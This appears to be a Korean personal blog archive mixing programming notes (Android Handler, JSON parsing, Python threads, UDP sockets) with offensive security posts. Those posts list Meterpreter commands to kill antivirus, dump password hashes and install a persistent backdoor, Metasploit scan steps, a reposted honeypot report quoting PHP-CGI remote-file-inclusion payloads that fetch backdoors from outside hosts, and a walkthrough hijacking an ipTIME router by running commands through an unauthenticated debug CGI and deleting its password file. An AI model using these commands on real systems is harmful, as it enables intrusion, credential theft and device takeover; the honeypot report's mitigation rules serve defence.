2012. 7. 26. 03:04


MainActivity 에서 Thread 를 돌려 변경되는  작업들을 다시 MainActivity 에서 참조하여 UI를 변경하고 싶을 때, 

MainActivity 에 update() 를 두고 MainActivity 를 넘기게 되면 디버깅시에는 잘 동작하는 것이 실제로 동작 시키면 잘 안되는 현상이 일어난다. 


이는 UI Thread는 외부 Thread 에서 참조할 수가 없기 때문에 일어나는 현상이다. 

이를 해결 하기 위해서 Handler 라는 개념을 사용 하게 된다. 

(C# 에서는 델리게이트라는 위임의 역할을 맡아주는 것이 따로 있다.)


핸들러란?

 

 시스템은 사용자가 작성한 UI에서 빠른 응답을 요구하고 있다.

만약  이상의 응당이 없을 경우 최악의 경우 작성된 프로그램이 강제로 종료가  경우도 발생할 수 있다.

이런 상황을 방지하기 위해서  오래걸리는 작업이 필요한 경우 두가지의 방법으로 해결을 할 수 있다.

첫번째는 시간이 오래걸리는 작업은 서비스로 만들어서 처리하는 방법

 새로운 쓰레드로 처리를 하는 방법

 

두번째 방법으로  생성해서 데이터 처리등의 시간이 오래걸리는 작업을 지원하기 위한 클래스가 존재하는데  핸들러(Handdler)이다.

 

간략하게 요약을 해보면

  • 백그라운드  생성을 위한 가장 유연한 방법이다.
  • 인스턴스 생성시 자동으로 안드로이드가  관리한다.
  • 메시지를 전달받게 되면 호출 되는 handlerMessage()에 실제 처리내용을 
  • post(), postDelayed()를 통해서 인자로 실행하고 자하는 Runnable객체를 전달할 수 있다.
  • View단에도 Runnable객처를 인자로 전달가능하고 이럴경우 코드가 심플해지는 경우도  있지만 Handler를 추천한다.

 

 

메시지(Message)란?

 

UI등에서 실제로 처리를 담당하는  데이터를 전송하거나 작업을 요청하기 위해서 전달하는 객체이다.

 

  • 핸들러로 전달되는 객체이다.
  • 전달된 메시지는 메시지 Queue를 통해서 핸들러가  사용한다.
  • 메시지를 전달하기 위해선 핸들러의 obtainMessage()호출해서 메시지 풀의 메시지를  전달해야한다.
  • 메시지를 전달하기 위해서는 sendMessage() 등을 사용한다.

메시지 전달 방식의 종류

  • sendMessage() - 큐의  메시지를 삽입한다.
  • sendMessageAtFrontQueue() - 큐의 맨앞에 메시지를 삽입한다.(우선처리)
  •  - 장비기동시간을 기준으로 삽입한다.(SystemClock.uptimeMillis()참고)
  • sendMessageDelayed() - 특정시간만큼 지연 삽입한다.







Posted by k1rha
2012. 7. 24. 15:43

백신 소프트웨어 무력화

meterpreter > run killav   


시스템 패스워드 해시 값 얻기

run hashdump 



공격 대상 시스템의 전체 트래픽 살펴보기

meterpreter>run packetrecorder -i 1 



시스템 스크레이핑

run scraper 



백도어 만들기,

 시스템 재부팅된 이후에도 미터프리터가 수행 될 수 있게 미터프리터 에이전트를 삽입.

리버스 연결일 경우 공격자 시스템에 다시 접속하는 대상 시스템의 간격을 조정할수 있음


>run persistence -X -i 50 -p 443 -r [source_ip] 

X 옵션이 부팅시 다시시작하겠음 


Posted by k1rha
2012. 7. 24. 14:46

ssh 스캐닝

 msf>use scanner/ssh/ssh_version

>set RHOST 127.0.0.1/24   //대역폭 스캔

>set THREADS 50

>run 


ftp anonymous 스캔 

msf>use auxiliary/scanner/ftp/anonymouse

>set RHOSTS 127..0.1/24

>set THREADS 50

>run


위의 ftp 경우 읽기 쓰기 권한까지 표시되서 나온다. 



snmp 스캐닝 


msf>use use scanner/snmp/snmp_login

>set RHOSTS 127.0.0.1/24

>set THREADS 50

>run

 



nmap 취약점 스캐닝


 nmap -sT -A --script=smb-check-bulns -P0 [target _ IP]


Posted by k1rha
2012. 7. 19. 22:44

Honeypot Alert] (UPDATE) Active Exploit Attempts for PHP-CGI Vuln

UPDATE - we have received more exploit attempt details from web hosting provider DreamHost. Thanks goes to Robert Rowley for data sharing. Details below.

As you may have heard, some security researchers recently released information outlining a long standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may be able to pass command line arguments in a query_string that will be passed directly to the PHP-CGI program. Ouch...

Exploit Attempts

Our web honeypots caught the following exploit attempts today:

37.112.127.136 - - [07/May/2012:02:36:11 +0400] "GET /?-s+%3d HTTP/1.1" 200 38 "-" "-"
37.112.127.136 - - [07/May/2012:02:36:12 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.1" 200 38 "-" "-"
91.210.189.171 - - [07/May/2012:04:46:12 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
94.242.199.77 - - [07/May/2012:05:01:17 +0400] "GET /?-s HTTP/1.0" 200 6085 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0" 200 753 "-" "-"
37.112.127.136 - - [07/May/2012:12:08:01 +0400] "GET /?-s+%3d HTTP/1.0" 200 753 "-" "-"

Notice that while some of these are simply probes to see if the application might be vulnerable, there are also two RFI attempts to execute remote PHP code.

(UPDATE) DreamHost Exploit Attempt Details


Thanks for 태윤


파일 소스보기 

/index.php?-s 요렇게하면 소스가 딱


RFI 구문 

/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi





DreamHost security provided SpiderLabs Research team with ModSecurity alert logs related to PHP-CGI Exploit attempts. These logs provide a much wider view of attack scale as DreamHost hosts more than 1,000,000 domains. Here are some stats:

  • Number of PHP-CGI Exploit Attempts: 234,076
  • Number of unique domains targeted: 151,275

Here are the top 10 attack vectors seen (with the # of attacks shown in the first column:

 198489 'GET /index.php?-s'
7837 'GET /blog/index.php?-s'
6078 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
2075 'GET /index.php?-s/wp-admin/install.php'
1790 'GET /wordpress/index.php?-s'
1605 'GET /wp/index.php?-s'
862 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
670 'GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
534 'POST /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
422 'GET /index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

Goal - Webshells/Backdoors

One of the major goals of these attacks are to try and download/install webshells and backdoors. Let's look at one example shown above:

GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi

The remote RFI file is a PHP backdoor program. One of the more interesting aspects of this code is the following section of code where the attacker wants to prevent others from exploiting the same vulnerability:

if($backdoored > 0)
{
	echo chr(10)."{$backdoored} BACKDOOR_INSTALLED".chr(10);

	$htaccess = getcwd() . "/.htaccess";
	$htaccess_body = @file_get_contents($htaccess);

	$fp = fopen(".htaccess", "w+");	
	if($fp)
	{
		fwrite($fp, 

		'<IfModule mod_rewrite.c>'.chr(10).
		'RewriteEngine On'.chr(10).
		'RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]'.chr(10).
		'RewriteRule ^(.*) $1? [L]'.chr(10).
		'</IfModule>'. 

		str_repeat(chr(10), 5). 
		$htaccess_body
		);

		fclose($fp);
	}
	else
	{
		echo ".htaccess bugfix error!" . chr(10);
	}
}

The highlighted mod_rewrite rules will be added to .htaccess files as a crude method of patching the PHP-CGI vuln to prevent someone else from exploiting the same issue. The RewriteCond line will inspect the query_string to see if it starts with the dash character (-) and is not followed by the equal sign character (=). If this is true, meaning someone is attempting to exploit the vuln, then the final RewriteRule will capture the full REQUEST_URI will then add a question mark character (?) to the end and instruct mod_rewrite to treat the request as a symlink ([L]). Using mod_rewrite in this way should cause future attack to fail.

Mitigations

Due to the fact that attackers are actively probing for this vulnerability combined with PHP code fixes that may not be complete, you should consider deploying some security filters in the interim. There have been public posts outlining possible filters using mod_rewrite such as the following:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

This roughly translates to: if the query_string does not have an equal sign (=) and it does have a dash (-) then issue a Forbidden response. The problem with this filter is that it would not catch the RFI examples we captured with the web honeypots as they have an = sign when declaring the PHP "auto_prepend_file" function.

Trustwave SpiderLabs has developed the following ModSecurity rule that will catch all currently known exploit attempts:

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

This rule will check for the four most common PHP command line arguments coming directly after the question mark (?) character to start the query_string. It will apply a URL decode and remove whitespace characters.

Posted by k1rha
2012. 7. 18. 21:08

구조체처럼 변수를 한번에 실어 나르고 싶지만, 그 타입이 불특정할때.. 객체 자체를 전송시키지만, 그값이 데이터 베이스나 그런곳에 들어가기엔 정규화되어 잇지 않을때 사용하기 좋은것이 바로 JSON 방식이다.


JSON 방식은 크게 2개가 묶여 있다.


Array 와 Object 이 두가지가 그것이다.


배열은 [ 1, 2, 3 ] 으로 표현되며 객체는 {"keyword":"value,"keyword2","value2"} 식으로 표현되는데,

이 array 안에 object 를 담애 낼수 있으며 , object 안에 array를 담아 낼 수도 있다.


간단하게 배열 안에 여러개의 변수가 담긴 Obejct 를 넣는 방법을 예시로 들어보겠다.

넣고자 하는 문자열은 다음과 같다.


[{"key3":"test3","key2":"test2","key1":"test"}] 


위에 설명에 따라 한행의 배열안에 OBJECT가 들어가 있고 그 오브젝트는 key3 key2 key1 로 들어가 있다. 각 키는 하나의 값을 가지고 있다.



[ example ]

import org.json.JSONArray;

import org.json.JSONException;

import org.json.JSONObject;

public class Json {

String json_ex = "[{\"key01\":\"aaaa\",\"key02\":\"bbbb\"}]";

void jsonCombine(){

JSONArray array = new JSONArray();

JSONObject obj = new JSONObject();

try{

obj.put("key1", "test");

obj.put("key2", "test2");

obj.put("key3", "test3");

array.put(obj);

Log.e("json parser", "=================="+array.toString());

}catch(Exception e){

Log.e("JSON Combine",":::::array Error "+e.toString());

}

}

void jsonParsor(){

String a=null;

String b=null;

try {

JSONArray ja  = new JSONArray(json_ex);

JSONObject jsonRoot =ja.getJSONObject(0); //0번째 라인...다중 배열시엔 for문

a = jsonRoot.getString("key01");

b = jsonRoot.getString("key02");

} catch (JSONException e1) {

e1.printStackTrace();

}

}

 


Posted by k1rha
2012. 7. 18. 16:00

쓰레드를 돌리고 싶은경우 2.7 - > 3.2로 넘어가는 순간 import 되는 것이 thread 에서 _thread 로 변경되엇다.


참조 사이트 : http://docs.python.org/py3k/library/_thread.html?highlight=thread#_thread.start_new_thread



[ example ] 

import _thread, time


g_count = 0


def counter(id,count):

global g_count

for i in range(count):

print ('id %s--> %s' % (id,i))

g_count - g_count +1


_thread.start_new_thread(counter,(1,10000))


time.sleep(3)


print ('total counter = ', g_count)

print ('exit') 


Posted by k1rha
2012. 7. 18. 15:45

system 함수를 사용하여 명령어를 칠경우, 그 값을 리턴 받고 싶을때가 있다.

Python은 이것을 파이프를 통해 간단하게 가져 올 수가 있다.



        pipe = Popen("df -h",shell=True,stdout=PIPE)

        DF_RESULT = pipe.stdout.readlines()[1].split()

        if(int(DF_RESULT[4][0:1])>95):

                print(" ::::  DANGER!! HardDisk is full IN"+SERVER_NAME)


        else:

                print(""); 

 

위와같은 케이스는 하드드라이브의 용량을 체크하는 구절을 위해 만든 구문이다. 

위와같이 shell 옵션과 stdout 옵션을 통해 가지고 popen 을 하면 파이프를 통해 가져올 수 있다.

Posted by k1rha
2012. 7. 18. 15:41

UDP server - client를 구현중 python 3.2 에서는 이상한 에러를 자주 뱉어 내게 된다. 


이이유는 sendto가 2.7에서는 string 으로 전송이 가능하였지만 3.2 부터는 바이트로 전송이 되어야 하기 때문이다.



예제코드는 아래와 같다

[ server ]


 def socketServer():

        svrsock = socket(AF_INET,SOCK_DGRAM)

        svrsock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)

        try:

                svrsock.bind(('',34444))

        except IOError:

                print ("Socket bindding error plz use another port \n")


        while 1:

                try :

                        s,addr = svrsock.recvfrom(100)

                        print(s)

                        svrsock.sendto(bytes(ALTERT_MESSAGE,'ascii'),addr)  //여기가 오류를 뱉어낸 부분이다.


                except IOError:

                        print ('socket sendto error')



[ client ] 


 import socket


HOST = '127.0.0.1'    # The remote host

PORT = 34444              # The same port as used by the server

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(bytes("aaa",'ascii'), (HOST, PORT))


buff=sock.recvfrom(100)


print(buff)



Posted by k1rha
2012. 7. 18. 01:29

http://blog.naver.com/eqelizer?Redirect=Log&logNo=20142712784

Posted by k1rha
2012. 7. 17. 08:38






정우형 시큐인사이드 발표 영상

http://www.youtube.com/watch?v=_6XrBSrnkTQ&feature=youtu.be

데일리 시큐 기사 

http://www.dailysecu.com/news_view.php?article_id=2585 



http://returnaddr.org/b0d/view.php?id=mydoc_secudoc&page=1&sn1&divpage=1&sn=off&ss=on&sc=on&select_arrange=hit&desc=asc&no=6&PHPSESSID=3f5a7202e2ea46023bd01491e08ff60d 


* IPTIME 공유기 해킹 과정 정리 *

ㅇ 장비명 : IpTIME Q104
ㅇ 벤   더 : EFM Networks
ㅇ 접근포트 : http://192.168.0.1 (http://192.168.0.1:55555, http://192.168.255.1:55555)

- BASIC Auth 사용하여 인증
- 디폴트 password (admin/null)와 쉬운 PW를 찍었으나 실패.
- 울프팀 게임으로 인해 과다 트래픽 감지 / 차단되어 경고 창 뜸
- 소스보기 => 리포트 화면이 iframe 으로 구성된 것을 확인
- 소스 : <iframe width="600" height="430" name="subwin" src="http://192.168.0.1/nd-bin/netdetect.cgi?flag=nd-report">
http://192.168.0.1/cgi-bin/timepro.cgi?flag=debug
  는 AUTH를 거치지만,
  http://192.168.0.1/nd-bin/netdetect.cgi?flag=debug 는 거치지 않고 아래창 뜸

      File Name :  [                         ]
   Command Name :  [                         ]
        [Show]

  action이 /cgi-bin/timepro.cgi 지만, netdetect.cgi로 해주고
  input 태그 값인 cmd에 원하는 명령 입력하여 실행!

-----------------------
/var/boa_vh.conf
-----------------------
Port 55555 
User root 
Group root 
ServerAdmin root@localhost 
VirtualHost 
DocumentRoot /home/httpd 
UserDir public_html 
DirectoryIndex index.html 
KeepAliveMax 100 
KeepAliveTimeout 10 
MimeTypes /etc/mime.types 
DefaultType text/plain 
AddType application/x-httpd-cgi cgi 
AddType text/html html 
ScriptAlias /cgi-bin/ /bin/ 
ScriptAlias /nd-bin/ /bin/ 
ScriptAlias /login/ /bin/login/ 
ScriptAlias /ddns/ /bin/ddns/ 
ScriptAlias /testbin/ /tmp/ 
ServerName IPRouter 
SinglePostLimit 2097152 
Auth /cgi-bin /etc/httpd.passwd 
Auth /main /etc/httpd.passwd 

-----------------------
/var/firewall_rule
-----------------------
separator:----- Messenger -----:0: 
aim:AIM:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0 
buddy:버디버디:3:32:nat:app_filter:tcp:0:952:filter_dnat:0:+:32:nat:app_filter:tcp:0:810-819:filter_dnat:0:+:32:nat:app_filter:tcp:0:940-959:filter_dnat:0 
icq:ICQ:1:32:nat:app_filter:tcp:0:5190:filter_dnat:0 
iman:IMAN(KT):1:32:nat:app_filter:tcp:0:5282:filter_dnat:0 
irc:IRC:2:32:nat:app_filter:tcp:0:6660-6669:filter_dnat:0:+:32:nat:app_filter:udp:0:6660-6669:filter_dnat:0 
msm:MSN 메신저:3:32:nat:app_filter:tcp:0:1863:filter_dnat:0:+:32:nat:app_filter:tcp:0:6891-6900:filter_dnat:0:+:16:url:messenger.hotmail.com: 
nateon:네이트온:2:32:nat:app_filter:tcp:0:5004:filter_dnat:0:+:16:url:prs.nate.com: 
tachy:타키(SayClub):1:32:nat:app_filter:tcp:0:6699:filter_dnat:0 
separator:-------- P2P --------:0: 
edonkey:eDonkey,Pruna,eMule:1:32:nat:app_filter:tcp:0:4661-4662:filter_dnat:0 
fileguri:파일구리:1:32:nat:app_filter:tcp:0:9493:filter_dnat:0 
guruguru:구루구루:2:32:nat:app_filter:tcp:0:9292:filter_dnat:0:+:32:nat:app_filter:tcp:0:22000-22400:filter_dnat:0 
soribard:소리바다:2:32:nat:app_filter:udp:0:7674-7675:filter_dnat:0:+:32:nat:app_filter:udp:0:22321:filter_dnat:0 
winmx:WinMX:2:32:nat:app_filter:tcp:0:6699:filter_dnat:0:+:32:nat:app_filter:udp:0:6257:filter_dnat:0 
separator:-------- Game -------:0: 
diable:디아블로:1:32:nat:app_filter:tcp:0:4000:filter_dnat:0 
kartrider:카트라이더:2:32:nat:app_filter:tcp:0:39311:filter_dnat:0:+:32:nat:app_filter:tcp:0:36567:filter_dnat:0 
lineage:리니지:2:32:nat:app_filter:tcp:0:1950-2002:filter_dnat:0:+:32:nat:app_filter:tcp:0:2004-2200:filter_dnat:0 
mu:뮤:1:32:nat:app_filter:tcp:0:44405:filter_dnat:0 

-----------------------
/etc/httpd.passwd
-----------------------
admin:$1S89Y1UUF3Ls:

- echo 명령을 이용하여 httpd.passwd 내용을 "admin::" 로 비번 초기화 시킨 후,
   password 인증 없이 접속!!

http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=rm -f /etc/httpd.passwd
http://192.168.255.1:55555/cgi-bin/timepro.cgi?flag=debug&cmd=cp /etc/httpd.passwd.bak /etc/httpd.passwd
- 잡업 후 복구 해야~

by xcuter

Posted by k1rha